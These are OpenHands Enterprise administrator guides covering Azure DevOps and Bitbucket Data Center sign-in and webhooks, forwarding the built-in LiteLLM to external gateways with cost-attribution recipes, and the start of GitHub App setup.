`openhands-secrets` charts. - - In your `values.yaml` for the `openhands` chart: - - ```yaml - azureDevOps: - enabled: true - tenantId: "" - organization: "" - auth: - existingSecret: azure-devops-app - ``` - - - The organization value is the organization name only, for example - `contoso` for `https://dev.azure.com/contoso`. Do not include - `https://dev.azure.com/`. - - - In your `values.yaml` for the `openhands-secrets` chart: - - ```yaml - config: - azure_devops_client_id: "" - azure_devops_client_secret: "" - ``` - - Then redeploy both charts. Deploying the `openhands-secrets` chart with - these values creates the Kubernetes secret named `azure-devops-app`. The - `openhands` chart reads the client ID and client secret from that secret via - `azureDevOps.auth.existingSecret`. If you use a different secret name, set - the same name in both charts. - - - -## Sign In with Azure DevOps - -After the deployment is completed, users choose **Sign in with Azure DevOps** on -your app's login page. - -On first sign-in, Microsoft may ask the user to consent to the requested -permissions. After sign-in, OpenHands stores the user's Azure DevOps token -through the authentication provider so it can list repositories and run Git -operations as that user. - -## Use Azure DevOps Repositories - -After signing in, users can select Azure DevOps repositories from the OpenHands -repository picker. OpenHands can: - -- List Azure DevOps projects and repositories available to the signed-in user. -- Clone Azure Repos using the signed-in user's OAuth token. SSH remote URLs (`git@ssh.dev.azure.com:v3/...`) are also recognized. -- Read branch and pull request context. -- Create branches and pull requests. -- Read and post Azure Repos pull request comments. -- Read and post Azure Boards work item comments. - -OpenHands does not require users to paste a personal access token for Azure -DevOps repository access when Microsoft Entra sign-in is configured. - -## Trigger OpenHands from Azure DevOps - -Azure DevOps events can be connected to OpenHands automations through Azure -DevOps Service Hooks and OpenHands custom webhooks. Use this pattern for -workflows such as: - -- A work item comment that asks OpenHands to create an implementation pull - request. -- A pull request comment that asks OpenHands to review the change. -- A pull request comment that asks OpenHands to generate tests or validation - evidence. -- A pipeline or incident event that asks OpenHands to inspect logs and propose a - fix. - -To configure this pattern: - -1. Register a custom webhook in OpenHands. See - [Event-Based Automations](/openhands/usage/automations/event-automations#custom-webhooks). -2. Create an Azure DevOps Service Hook that sends the selected event to the - webhook URL. -3. Create an OpenHands automation that filters for the event type, repository, - project, or trigger phrase you want to support. -4. Test with a non-production repository or project before enabling the - automation broadly. - - - GitHub has built-in event routing in OpenHands. Azure DevOps event routing is - configured through service hooks or custom webhooks. - - -## Troubleshooting - -| Symptom | Check | -| --- | --- | -| The Azure DevOps login option is not visible | Confirm **Azure DevOps Authentication** is enabled in the Admin Console or Helm values and the deployment has been applied. | -| OAuth redirects fail | Confirm the Entra redirect URI exactly matches `https:///realms/allhands/broker/azure_devops/endpoint`. | -| Microsoft sign-in shows an invalid client or secret error | Confirm the Azure DevOps Client ID and Client Secret match the Microsoft Entra app registration. If the secret expired, create a new one and redeploy. | -| Microsoft sign-in succeeds but no repositories are listed | Confirm the user has access to the Azure DevOps organization, project, and repositories. Also confirm the default organization value is the organization name only. | -| Consent fails or Azure DevOps API calls are denied | Confirm the Entra application has the required Azure DevOps delegated permission and that admin consent has been granted if your tenant requires it. | -| Repository selection or Git operations fail | Confirm OpenHands can reach `dev.azure.com` and that the repository is referenced as `organization/project/repository`. | -| Azure DevOps Service Hook deliveries do not trigger an automation | Confirm the custom webhook is registered, the Service Hook URL is correct, the event type matches the automation, and the automation is enabled. | - -### Bitbucket Data Center -Source: https://docs.openhands.dev/enterprise/integrations/bitbucket-data-center.md - -This guide explains how to connect Bitbucket Data Center to an OpenHands -Enterprise Replicated installation. The integration lets users sign in with -Bitbucket Data Center, open repositories, and invoke OpenHands from pull request -comments. - -## Prerequisites - -- A Bitbucket Data Center administrator who can create an OAuth 2.0 Application - Link. -- A currently supported Bitbucket Data Center version with OAuth 2.0 Application - Links enabled. If the application link flow does not show - incoming OAuth 2.0 settings, verify your Bitbucket Data Center version and - application link settings. -- Repository administrator access for users who will install repository - webhooks from OpenHands. -- Network access from OpenHands to Bitbucket Data Center for API calls, and - from Bitbucket Data Center back to the OpenHands app URL for webhook delivery. -- If Bitbucket Data Center uses an internal or self-signed certificate, upload - the issuing CA in the OpenHands Enterprise Admin Console under **Additional - Trusted CA Certificates** before deploying. - -## Create a Bitbucket OAuth Application Link - -In Bitbucket Data Center, create an OAuth 2.0 Application Link for OpenHands. -The exact menu labels can vary by Bitbucket version, but this is usually under -**Administration > Application Links**. - -![Bitbucket Data Center Application Links settings](../images/bitbucket-data-center-application-links.png) - -Use this callback URL, where `` is your installation's -Authentication hostname (`auth.` by default): - -```text -https:///realms/allhands/broker/bitbucket_data_center/endpoint -``` - -Replace only the hostname. Leave the rest of the path unchanged, for example: - -```text -https://auth.openhands.example.com/realms/allhands/broker/bitbucket_data_center/endpoint -``` - -OpenHands requests the `REPO_ADMIN` OAuth scope so it can list repositories and -install or refresh repository webhooks from the OpenHands UI. Copy the client ID -and client secret. You will paste them into the OpenHands Enterprise Admin -Console. - - - `REPO_ADMIN` is required so OpenHands can list repositories in the UI and - create or refresh the `OpenHands Resolver` repository webhook. OpenHands does - not perform other repository administration actions. - - -![Bitbucket Data Center incoming OAuth link form](../images/bitbucket-data-center-incoming-link.png) - -## Create a Bot Token - -This step is strongly recommended but technically optional. When a bot token is -configured, OpenHands posts comments and reactions as the bot account instead of -as the user. - -Create a dedicated Bitbucket Data Center user for OpenHands. For example, create -a user named `openhands` with an email address such as -`openhands-bot@company.com`. Grant this user access to all repositories where -OpenHands should post comments or reactions. Then create an HTTP access token -for that user with **Repository permissions** set to **Repository write**. Store -the token securely. You will need to paste the HTTP access token into the -OpenHands Enterprise Admin Console. - -![Bitbucket Data Center HTTP access token setup](../images/bitbucket-data-center-bot-token.png) - -## Configure the Admin Console - -Open the Replicated Admin Console for your OpenHands Enterprise installation and -go to the application configuration page. - -In **Bitbucket Data Center Authentication**: - -1. Enable **Bitbucket Data Center Authentication**. -2. Enter the **Bitbucket Data Center Domain**. -3. Enter the **Bitbucket Data Center Client ID**. -4. Enter the **Bitbucket Data Center Client Secret**. -5. Enter the **Bitbucket Data Center Bot Token** if you have one. -6. Save and deploy the updated configuration. - - - The Bitbucket Data Center Domain must be a bare hostname, for example - `bitbucket.example.com`. Do not include `https://`. - - -## Sign In with Bitbucket Data Center - -After the deployment is completed, users choose **Sign in with Bitbucket Data -Center** on your app's login page. - -On first sign-in, users may be asked to accept OpenHands terms and complete an -offline access flow. After sign-in, OpenHands stores the user's Bitbucket Data -Center token so it can list repositories and run resolver jobs as that user. - -## Install Repository Webhooks - -To trigger OpenHands on Bitbucket repositories, repository administrators can -install the OpenHands bot onto a repository from **Settings > Integrations** -within the OpenHands app. For each repository that should support `@openhands` -pull request comments, click **Install**. If a webhook already exists, click -**Reinstall** to refresh it. - -OpenHands creates or updates a repository webhook named `OpenHands Resolver`. -The webhook URL is connection-specific: - -```text -https://app./integration/bitbucket-dc/connections//events -``` - -OpenHands subscribes the webhook to repository and pull request events, -including pull request comment add, edit, and delete events. The signing secret -is generated and stored by OpenHands. - -## Trigger OpenHands from Bitbucket Data Center - -Open a pull request and add a comment containing `@openhands`. Inline pull -request comments are also supported. - -OpenHands starts a resolver job when: - -- The repository webhook is installed and active. -- The webhook delivery signature is valid. -- The mentioning Bitbucket user has signed in to OpenHands with Bitbucket Data - Center. -- The mentioning user has access to the repository. - -The resolver context includes the pull request title, description, current -comments, and the triggering comment. OpenHands replies back to the pull request -when the job starts and when it completes. - -## Troubleshooting - -| Symptom | Check | -| --- | --- | -| The Bitbucket Data Center login option is not visible | Confirm Bitbucket Data Center Authentication is enabled in the Admin Console and the deployment has been applied. | -| OAuth redirects fail | Confirm the callback URL exactly matches `https:///realms/allhands/broker/bitbucket_data_center/endpoint`. | -| Login tries to reach an invalid `https://https://...` URL | Remove `https://` from the Bitbucket Data Center Domain field in the Admin Console. | -| Repository webhook install fails | Confirm the user has repository admin access and the OAuth app grants `REPO_ADMIN`. | -| Webhook delivery reaches OpenHands but no job starts | Confirm the comment contains `@openhands`, the webhook is installed for that repository, and the mentioning Bitbucket user has signed in to OpenHands. | -| OpenHands cannot list Bitbucket repositories or install webhooks | Confirm the OpenHands cluster can reach the Bitbucket Data Center URL. | -| Bitbucket webhook deliveries do not reach OpenHands | Confirm the Bitbucket Data Center network can reach the OpenHands app URL. | -| Bitbucket API calls fail with TLS errors | Upload the Bitbucket Data Center CA certificate in **Additional Trusted CA Certificates** and redeploy. | - -### External LLM Gateways -Source: https://docs.openhands.dev/enterprise/integrations/external-llm-gateways.md - -Many organizations already run an LLM gateway (LiteLLM, Bifrost, or a similar -OpenAI-compatible proxy) to route, rate-limit, audit, and track cost across -multiple LLM providers. OpenHands Enterprise (OHE) ships with its own built-in -LiteLLM instance, and that built-in instance can forward requests to your -existing gateway instead of calling LLM providers directly. - -This guide walks an operator through configuring the built-in LiteLLM to -forward to an external gateway, for both single-model and multi-model setups. - - - This guide is for **OpenHands Enterprise** operators who want to chain the - built-in LiteLLM to an external gateway. If you are using OpenHands Cloud or - the OSS build and want to point OpenHands at your own LiteLLM proxy directly, - see [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) instead. That path - does not involve the built-in LiteLLM. - - -## Overview - -OHE does not point the OpenHands runtime directly at an external gateway. Instead, -the built-in LiteLLM forwards requests to the external gateway, which in turn -forwards to the actual LLM provider: - -```text -OpenHands Runtime - │ - ▼ -Built-in LiteLLM (runs inside the OHE cluster) - │ - ▼ (forwards as OpenAI-compatible HTTP) -External Gateway (your LiteLLM or Bifrost) - │ - ▼ -LLM Provider (Anthropic, OpenAI, Bedrock, Azure, etc.) -``` - -This design means: - -- OHE never needs credentials for the underlying LLM providers. -- Your gateway keeps full control of provider keys, routing rules, cost tracking, - and audit logs. -- Only one secret is exchanged: an API key or virtual key for your gateway, which - the built-in LiteLLM uses to authenticate. - -## What you need from the gateway owner - -For each model you want to expose to OHE, you need three pieces of information -from whoever administers the external gateway: - -| Field | Description | Example | -|-------|-------------|---------| -| **Gateway URL** | Base URL of the gateway, reachable from the OHE cluster | `http://litellm.internal:4000` or `https://bifrost.corp.example.com:8080` | -| **Gateway Key** | An API key or virtual key on the gateway that authorizes chat/completions calls | `sk-litellm-vk-abc123...` | -| **Model Name** | The model name as the gateway expects it in the `model` field of the request body | `claude-sonnet-4-5-20250929` (LiteLLM) or `anthropic/claude-sonnet-4-5-20250929` (Bifrost) | - -No provider credentials, AWS keys, or Azure endpoints are needed on the OHE -side. Those all stay on the external gateway. - -## Prerequisites - -Before you start, confirm: - -- **OHE is installed and reachable.** You can sign in at - `https://app.`. -- **The external gateway is reachable from the OHE cluster.** The built-in - LiteLLM pod makes outbound HTTP/S calls to the gateway, so DNS and network - paths must resolve from inside the `openhands` namespace. -- **You have the built-in LiteLLM master key.** This is needed for the admin - API path (testing only) and for verifying the config. Retrieve it with: - - ```bash - kubectl -n openhands exec deploy/openhands-litellm -- printenv PROXY_MASTER_KEY - ``` - -- **You have cluster access** to edit Helm values or apply config changes, and - can restart the LiteLLM pod. - -## Configure the built-in LiteLLM - -There are two ways to add gateway-forwarding models to the built-in LiteLLM. -For production, use the **Helm values**. Use the **admin API** only for light -testing. It does not survive pod restarts or upgrades and is not recommended -for regular use. - -### Option 1: Admin API (testing only) - - - Models added via the admin API are stored in the LiteLLM database and take - effect immediately, but **they are lost when the LiteLLM pod restarts or the - cluster is upgraded**. Use this path only to test that a gateway connection - works, then move validated models to the Helm values (Option 2) for - production. - - -```bash -# Add a model that forwards to an external LiteLLM gateway -curl -X POST http://:4000/model/new \ - -H "Authorization: Bearer $PROXY_MASTER_KEY" \ - -H "Content-Type: application/json" \ - -d '{ - "model_name": "claude-sonnet-4-5-via-gateway", - "litellm_params": { - "model": "litellm_proxy/claude-sonnet-4-5-20250929", - "api_base": "http://:4000", - "api_key": "" - } - }' -``` - -Models added this way appear immediately in `GET /v1/models` and are usable -right away. No pod restart is needed. - -### Option 2: Helm values (production) - -For production, add model entries to the OpenHands Helm chart's -`proxy_config.model_list`. These survive pod restarts and cluster upgrades. - - - - 1. Open the Replicated admin console at `https://:30000`. - 2. Navigate to the LiteLLM config section and edit the `model_list` YAML. - 3. Add one entry per model (see the config snippets in - [Gateway-specific configuration](#gateway-specific-configuration) below). - 4. Save and deploy. Replicated will roll the LiteLLM pod with the new config. - - - Edit `values.yaml` for the `openhands` chart: - - ```yaml - proxy_config: - model_list: - # ... existing models ... - - # Forward to an external LiteLLM gateway - - model_name: claude-sonnet-4-5-via-gateway - litellm_params: - model: litellm_proxy/claude-sonnet-4-5-20250929 - api_base: http://:4000 - api_key: os.environ/EXTERNAL_GATEWAY_KEY - - # Forward to an external Bifrost gateway - - model_name: claude-sonnet-4-5-via-bifrost - litellm_params: - model: openai/anthropic/claude-sonnet-4-5-20250929 - api_base: http://:8080/v1 - api_key: os.environ/BIFROST_KEY - ``` - - Then supply the keys as a Kubernetes secret and redeploy: - - ```bash - kubectl -n openhands create secret generic external-gw-keys \ - --from-literal=EXTERNAL_GATEWAY_KEY='' \ - --from-literal=BIFROST_KEY='' - - helm upgrade openhands ./charts/openhands -f values.yaml -n openhands - ``` - - - -## Gateway-specific configuration - -The `model` and `api_base` fields differ depending on whether the external -gateway is LiteLLM or Bifrost. - -### LiteLLM as the external gateway - -Use the `litellm_proxy/` model prefix. This tells the built-in LiteLLM to -forward to another LiteLLM instance and preserve LiteLLM-specific features -(virtual key headers, spend tracking, team/org metadata). - -```yaml -- model_name: - litellm_params: - model: litellm_proxy/ - api_base: http://:4000 # no /v1 suffix - api_key: -``` - - - The `api_base` should **not** include `/v1`. LiteLLM appends the - `/v1/chat/completions` path automatically. - - -### Bifrost as the external gateway - -Use the `openai/` model prefix. Bifrost is OpenAI-compatible, so the built-in -LiteLLM treats it as an OpenAI-compatible endpoint. - -```yaml -- model_name: - litellm_params: - model: openai// - api_base: http://:8080/v1 # include /v1 - api_key: -``` - -Key differences from LiteLLM: - -- `api_base` **must** include `/v1`. Bifrost does not auto-append it. -- The model name on Bifrost uses the `provider/model` convention (for example, - `anthropic/claude-sonnet-4-5-20250929`), so the full `model` field becomes - `openai/anthropic/claude-sonnet-4-5-20250929`. - -## Multi-model gateways - -Gateways typically host many models across different providers, sizes, and -routing rules. There are two patterns for exposing them to OHE. - -### Pattern A: Explicit per-model entries (recommended) - -Add one `model_list` entry per model you want to expose. Each entry maps a -friendly name (what OHE users see in the dropdown) to a model on the external -gateway. This works identically for LiteLLM and Bifrost gateways. - -```yaml -proxy_config: - model_list: - - model_name: claude-sonnet-4-5 - litellm_params: - model: litellm_proxy/claude-sonnet-4-5-20250929 - api_base: http://:4000 - api_key: os.environ/EXTERNAL_GW_KEY - - - model_name: claude-haiku-4-5 - litellm_params: - model: litellm_proxy/claude-haiku-4-5-20251001 - api_base: http://:4000 - api_key: os.environ/EXTERNAL_GW_KEY - - - model_name: gpt-4o - litellm_params: - model: litellm_proxy/gpt-4o - api_base: http://:4000 - api_key: os.environ/EXTERNAL_GW_KEY -``` - -All three entries point at the same `api_base` and use the same `api_key`. -Only the upstream model name differs. OHE users see three models in the -dropdown: `claude-sonnet-4-5`, `claude-haiku-4-5`, `gpt-4o`. - -This pattern is explicit, easy to audit, and gives you control over which -models are exposed and what they are named. - -### Pattern B: Wildcard passthrough (not recommended) - - - Pattern B is **not recommended** for production. It floods the OHE model - dropdown with hundreds of models that do not exist on the external gateway, - and it requires users to type exact model names in a specific format. Use - Pattern A unless you have a specific reason to allow arbitrary model names. - - -LiteLLM supports a wildcard model entry that forwards any model name to the -upstream gateway without pre-declaring each one: - -```yaml -proxy_config: - model_list: - - model_name: "*" - litellm_params: - model: openai/* - api_base: http://:8080/v1 - api_key: os.environ/BIFROST_KEY -``` - -Tested behavior of this pattern: - -- **The OHE model dropdown becomes unusable.** `GET /v1/models` on the built-in - LiteLLM returns 200+ entries: the explicitly configured models, a literal - `*`, and the entire LiteLLM internal OpenAI model registry (models like - `openai/gpt-4o`, `openai/gpt-5`, and so on). These OpenAI models do **not** - exist on the external gateway. They are LiteLLM's known model names, - auto-populated because of the `openai/*` prefix. Users see a flooded - dropdown where most entries fail when selected. -- **Users must type the exact `provider/model` format.** A call to - `claude-opus-4-8` fails with a 400 error. A call to - `anthropic/claude-opus-4-8` succeeds and is forwarded to the gateway. The - user must know the gateway's model naming convention in advance. -- **Typo protection moves to the gateway.** Unknown model names are forwarded - verbatim and rejected by the external gateway, not by the built-in LiteLLM. - -The one advantage of Pattern B is that when the external gateway adds a new -model, it works immediately without a config change on the OHE side. That -convenience rarely outweighs the cost of a broken dropdown and the need for -users to know exact model strings. - -## Model discovery - -OHE discovers available models by calling `GET /v1/models` on the built-in -LiteLLM. This endpoint returns every model in the `model_list`, both those in -the Helm config and any added via the admin API for testing. - -```bash -curl http://:4000/v1/models \ - -H "Authorization: Bearer $PROXY_MASTER_KEY" -``` - -For production, models should be in the Helm config so they survive pod -restarts and cluster upgrades. Models added via the admin API appear -immediately but are lost on restart. Use that path only for testing. - -## Verified capabilities - -The following OHE agent capabilities have been tested and confirmed working -through both LiteLLM and Bifrost external gateways: - -| Capability | LiteLLM gateway | Bifrost gateway | -|-----------|-----------------|-----------------| -| Basic chat completions | Yes | Yes | -| Tool and function calling | Yes | Yes | -| Streaming responses | Yes | Yes | -| Multi-step agent loops (tool call, result, next response) | Yes | Yes | -| Token usage tracking | Yes | Yes | -| Multiple models on same gateway | Yes | Yes | - -## Identity and cost attribution - -A common reason to chain through an external gateway is cost attribution -and audit: the gateway owner needs to know which OpenHands user, -team, or project generated each LLM call so they can route spend to -the right cost center. This section is a set of recipes. Pick the one -that matches your scenario. - -### What the OpenHands runtime sends by default - -The runtime calls the built-in LiteLLM using the OpenAI Python SDK. -By default the request carries: - -- Standard OpenAI SDK headers (`x-stainless-*`, `authorization`). -- An OpenAI `user` field in the request body, set to the OpenHands - user identifier. The built-in LiteLLM records this in its own spend - logs but does not forward it to the upstream gateway in the request - body. - -No `X-OpenHands-User-Id` or similar identity header is attached -automatically. Everything below adds attribution to that baseline. - -### Recipe 1: Per-team attribution with per-key model entries - -**Use when** you have a small number of teams or projects and want -the external gateway to attribute spend by API key. - -**How.** Create one API key per team on the external gateway. Add one -model entry per key in the built-in LiteLLM config: - -```yaml -proxy_config: - model_list: - - model_name: claude-sonnet-4-5-team-alpha - litellm_params: - model: litellm_proxy/claude-sonnet-4-5-20250929 - api_base: http://:4000 - api_key: os.environ/TEAM_ALPHA_KEY - - - model_name: claude-sonnet-4-5-team-beta - litellm_params: - model: litellm_proxy/claude-sonnet-4-5-20250929 - api_base: http://:4000 - api_key: os.environ/TEAM_BETA_KEY -``` - -Users on each team select their model in the OHE model dropdown. The -gateway sees the team's key and attributes spend accordingly. - -**What appears at the gateway.** The team's `Authorization: Bearer -` header. Standard gateway spend reporting by key. - -**Limits.** - -- No header forwarding or runtime changes needed. -- Does not scale to many users because each user needs their own - entry and key. Best for a small number of teams or projects. - -### Recipe 2: Per-user or per-profile attribution with `extra_headers` - -**Use when** you want each LLM call from a specific OpenHands user -or team to carry identity headers the gateway can read. Works for -both web UI and API conversations. - -**How.** Two steps. - -1. Enable header forwarding on the built-in LiteLLM. In your Helm - values or Replicated config: - - ```yaml - proxy_config: - general_settings: - forward_client_headers_to_llm_api: true - ``` - - In the Replicated admin console this is the **Enable Forwarding - Client Headers Through LiteLLM to LLM Providers** checkbox under - Advanced Options. - -2. Set `extra_headers` on the LLM profile. In the OpenHands web UI, - open Settings, LLM, Advanced Options, and edit the **Extra - Headers** field. Or POST to the profile API: - - ```bash - curl -X POST "https://app./api/v1/settings/profiles/Default" \ - -H "X-Session-API-Key: $OH_API_KEY" \ - -H "Content-Type: application/json" \ - -d '{ - "preserve_existing_api_key": true, - "llm": { - "model": "openai/claude-sonnet-4-5-via-gateway", - "base_url": "http://openhands-litellm:4000/v1", - "extra_headers": { - "X-OpenHands-User-Id": "alice", - "X-OpenHands-Project": "trade-confirm-demo" - } - } - }' - ``` - -For per-user attribution today, create one LLM profile per user and -set that user's identifier in the profile's `extra_headers`. Users -select their own profile from the profile dropdown. - -**What appears at the gateway.** Every LLM call from a conversation -using this profile arrives with the headers you set. The gateway -reads them and attributes spend accordingly. - -**Verified.** - -- The `extra_headers` field is exposed on the LLM profile schema in - the OHE app and persists through the profile API round-trip. -- The SDK forwards `llm.extra_headers` to LiteLLM on every call. -- The built-in LiteLLM forwards headers starting with `x-` (and - `anthropic-*`, excluding `x-stainless-*`) to the upstream gateway - when `forward_client_headers_to_llm_api: true`. Tested end-to-end - with a capture service standing in for the upstream gateway. - -**Limits.** - -- Headers are static per profile, not per user, so per-user - attribution scales with the number of profiles. -- The header name `x-litellm-session-id` is reserved by the SDK for - conversation tracing (see [Trace calls back to a conversation](#trace-calls-back-to-a-conversation)). - Setting that key in `extra_headers` is overwritten at call time. - -### Recipe 3: Static gateway auth headers with `custom_llm_extra_headers` - -**Use when** the external gateway requires a static auth or routing -header on every request, and your LLM provider setting is Custom LLM. - -**How.** - -1. In the Replicated admin console, set LLM Provider to **Custom LLM**. -2. Under Advanced Options, enable **Custom LLM Extra HTTP Headers**. -3. Enter a JSON object mapping header names to values: - - ```json - {"Ocp-Apim-Subscription-Key": "abc123", "X-Tenant-Id": "prod"} - ``` - -4. Deploy. The built-in LiteLLM injects these headers on every - outbound request to the gateway. - -**What appears at the gateway.** The headers you configured, on every -outbound request, identical for every user. - -**Limits.** - -- Gated on the Custom LLM provider. Not available for Anthropic, - OpenAI, Bedrock, Azure, or Vertex provider settings. -- Static values, same for every user. Not a per-user attribution - mechanism. -- Values are rendered as plaintext in the LiteLLM ConfigMap. - -### Recipe 4: LiteLLM spend log metadata - -**Use when** the external gateway is also LiteLLM and you want -structured metadata (user, project, cost center) captured on both the -built-in and upstream LiteLLM spend logs, so you can query and join -them. - -**How.** Enable header forwarding as in Recipe 2. Then set the -`x-litellm-spend-logs-metadata` header on the LLM profile's -`extra_headers`. LiteLLM parses this header as a JSON string and -stores it in the spend log row: - -```bash -curl -X POST "https://app./api/v1/settings/profiles/Default" \ - -H "X-Session-API-Key: $OH_API_KEY" \ - -H "Content-Type: application/json" \ - -d '{ - "preserve_existing_api_key": true, - "llm": { - "model": "openai/claude-sonnet-4-5-via-gateway", - "base_url": "http://openhands-litellm:4000/v1", - "extra_headers": { - "x-litellm-spend-logs-metadata": "{\"openhands_user_id\":\"alice\",\"project\":\"trade-confirm-demo\"}" - } - } - }' -``` - -**What appears at the gateway.** The header on every request, and -the parsed metadata in LiteLLM's spend database on both sides of the -chain. - -**Limits.** - -- Only LiteLLM gateways interpret the JSON natively. Bifrost sees the - header but does not parse it. -- The value is a JSON string, not a nested object. Serialize before - putting it in `extra_headers`. - -### Recipe 5: Batch reconciliation with conversation tags - -**Use when** you can reconcile gateway spend with OpenHands -conversations after the fact and do not need per-call attribution -visible at the gateway. - -**How.** Tag conversations with your external identifiers when you -start them via the API. Tag keys must be lowercase alphanumeric (no -underscores or hyphens); values are strings up to 256 characters: - -```bash -curl -X PATCH "$CONVERSATION_URL" \ - -H "X-Session-API-Key: $SESSION_API_KEY" \ - -H "Content-Type: application/json" \ - -d '{"tags": {"costcenter": "trade-confirm-demo", "externalproject": "proj-42"}}' -``` - -Export gateway spend logs filtered by time and model. Export the -OpenHands conversation list filtered by tag. Join by timestamp and -model. See the -[conversation-tags example](https://github.com/OpenHands/enterprise-cookbook/tree/main/conversation-tags) -for a working round-trip. - -**What appears at the gateway.** Nothing. Tags live on the OpenHands -conversation record and never touch the LLM request. - -**Limits.** Not real-time. Reconciliation is a batch job. - -### Choosing a recipe - -| Scenario | Recipe | -|----------|--------| -| Per-team attribution, few teams | Recipe 1 | -| Per-user attribution, small number of users | Recipe 2 | -| Static gateway auth header, Custom LLM provider | Recipe 3 | -| Metadata in LiteLLM spend logs on both sides of the chain | Recipe 4 | -| Batch reconciliation after the fact | Recipe 5 | - -Recipes are not mutually exclusive. A common combination is Recipe 1 -(per-team keys) plus Recipe 2 (per-user headers within a team). - -### Trace calls back to a conversation - -Independent of attribution, the SDK stamps every LLM request with -`x-litellm-session-id: `. When -`forward_client_headers_to_llm_api: true`, this header reaches the -external gateway. It is useful for: - -- Correlating a spend log row on the gateway to the OpenHands - conversation that produced it. -- Joining logs across the built-in and external LiteLLM instances. -- Debugging which conversation is generating traffic. - -It is not an attribution mechanism. The value is a conversation ID, -not a user ID. Use it together with one of the recipes above when you -need both attribution and traceability. - -## Security notes - -- The external gateway key is stored as a Kubernetes secret in the OHE cluster. - Limit access to that secret to the LiteLLM pod's service account. -- The built-in LiteLLM logs request and response metadata (model, token counts, - latency) but not prompt or response content by default. The external gateway - is the place to enforce content-level audit logging if needed. -- If the external gateway is outside the OHE cluster, use HTTPS and ensure the - LiteLLM pod can resolve and reach the gateway's DNS name. - -## Troubleshooting - - - - - Verify the model appears in `GET /v1/models` on the built-in LiteLLM. - - If added via admin API, check the response from `/model/new` for errors. - - If added via Helm values, verify the pod restarted after the values - change. - - - - - Verify the `api_key` in `litellm_params` is a valid key on the external - gateway. - - For Bifrost, check that `enforceAuthOnInference` is either `false` (for - testing) or that a valid virtual key is configured. - - - - The `model` field in `litellm_params` must match what the external gateway - expects: - - For LiteLLM gateways: use the `model_name` from the gateway's config, - for example `litellm_proxy/claude-sonnet-4-5-20250929`. - - For Bifrost: use `provider/model`, for example - `openai/anthropic/claude-sonnet-4-5-20250929`. - - - - - Verify the model supports tool/function calling (some smaller models do - not). - - Test directly against the external gateway (bypass the built-in LiteLLM) - to isolate whether the issue is in the gateway or the chaining. - - - - This means a wildcard (`model_name: "*"`) entry is in the `model_list`. - The `openai/*` prefix causes LiteLLM to auto-populate its internal OpenAI - model registry into `/v1/models`. Remove the wildcard entry and use - explicit per-model entries (Pattern A) instead. - - - -## Reference - -- OpenHands LLM configuration overview: [LLM Configuration](/openhands/usage/llms/llms) -- LiteLLM proxy (OSS/Cloud path, no built-in LiteLLM): [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) -- LiteLLM model config reference: [LiteLLM docs](https://docs.litellm.ai/docs/proxy/configs) -- Bifrost configuration reference: [Bifrost docs](https://docs.bifrost.maxim.ai) - -### GitHub -Source: https://docs.openhands.dev/enterprise/integrations/github.md - -This guide explains how to connect GitHub to a self-hosted OpenHands Enterprise -installation. The integration lets users sign in with GitHub, open repositories, -and invoke OpenHands from issue and pull request comments. - - - For OpenHands Cloud, see [GitHub Integration](/openhands/usage/cloud/github-installation). - This page covers the GitHub App that you create and operate for OpenHands Enterprise. - - -## Overview - -A self-hosted installation needs its own GitHub App so GitHub can send events to -your domain. Setup has four parts: - -1. Create a GitHub App for the installation. -2. Install the app on the organizations and repositories where OpenHands should run. -3. Add the app credentials to the OpenHands Enterprise Admin Console and deploy the configuration. -4. Have each user sign in to OpenHands with GitHub before they invoke `@openhands`. - -The integration uses two GitHub identities: - -- The GitHub App posts acknowledgements and completion messages as the OpenHands bot. -- The agent uses the triggering user's GitHub authorization for repository operations, - including formal pull request reviews. - -This is why an `I'm on it!` comment can appear as the bot while the resulting pull -request review appears as the user who requested it. - -If automated work must use a dedicated GitHub identity, see -[Use a Service Account for Automated Conversations](#use-a-service-account-for-automated-conversations). - -## Prerequisites - -Before you start, confirm: - -- OpenHands Enterprise is reachable at `https://app.`. -- The authentication service is reachable at `https://auth.` - when using the default **Simple** hostname mode. -- Both hostnames use publicly trusted TLS certificates. -- You can create a GitHub App for your user or organization. -- You can install the app on the organizations and repositories that should use OpenHands. -- Your workstation has [uv](https://docs.astral.sh/uv/) and can open a browser to GitHub. - -## Step 1: Create the GitHub App - -Use the helper script in the -[`OpenHands-Cloud`](https://github.com/OpenHands/OpenHands-Cloud/tree/main/scripts/create_github_app) -repository. It creates a private GitHub App with the callback URL, webhook URL, -permissions, and events expected by OpenHands Enterprise. - -```bash -git clone https://github.com/OpenHands/OpenHands-Cloud.git -cd OpenHands-Cloud -./scripts/create_github_app/create_github_app.py \ - --base-domain -``` - -Use the base domain without the `app.` or `auth.` prefix. For example: - -```bash -./scripts/create_github_app/create_github_app.py \ - --base-domain openhands.example.com -``` - -Pass `--org ` to create the app under a GitHub organization instead -of your personal account. If the installation uses the **Legacy** hostname mode, -also pass `--dns-layout nested` so the OAuth callback uses -`auth.app.` instead of `auth.`. - -The script starts a temporary callback server on port `9876`, opens GitHub's App -creation page, and asks you to create the app. After creation, it opens the app's -installation page. - -Save these values from the script output: - -- GitHub App Client ID -- GitHub App Client Secret -- GitHub App ID -- GitHub App Slug -- GitHub App Webhook Secret -- GitHub App Private Key, saved under `scripts/create_github_app/keys/` - - - Store the client secret, webhook secret, and private key securely. Do not commit - them to a repository. - - -### App Configuration - -The helper configures these URLs: - -| GitHub App setting | URL | -|---|---| -| Homepage URL | `https://app.` | -| OAuth callback URL | `https://auth./realms/allhands/broker/github/endpoint` | -| Webhook URL | `https://app./integration/github/events` | - -The OAuth callback URL above is for the default **Simple** hostname mode. The -helper uses `auth.app.` when run with `--dns-layout nested` for -the **Legacy** mode. The OAuth callback handles user sign-in, while the webhook -URL receives issue and pull request events; these URLs are not interchangeable. - -The app subscribes to these events: - -- Issue comments -- Pull requests -- Pull request review comments - -The app requests write access to repository contents, issues, pull requests, -repository webhooks, commit statuses, Actions, and workflows. It also requests -read access to metadata, user email addresses, and organization events. - -## Step 2: Install the GitHub App - -On the installation page opened by the helper script: - -1. Select the GitHub user or organization that owns the repositories. -2. Choose **All repositories** or select the repositories that should use OpenHands. -3. Review the requested permissions. -4. Select **Install**. - -You can change repository access later from the GitHub App's installation settings. -OpenHands receives events only for repositories included in the installation. - - - Installing multiple OpenHands GitHub Apps on the same repository causes each app - to receive the same `@openhands` mention. This can start duplicate conversations - and produce duplicate acknowledgements, reviews, and completion comments. - - -## Step 3: Configure OpenHands Enterprise - -Open the Replicated Admin Console and find **GitHub Authentication** in the -application configuration. - -1. Enable **GitHub Authentication**. 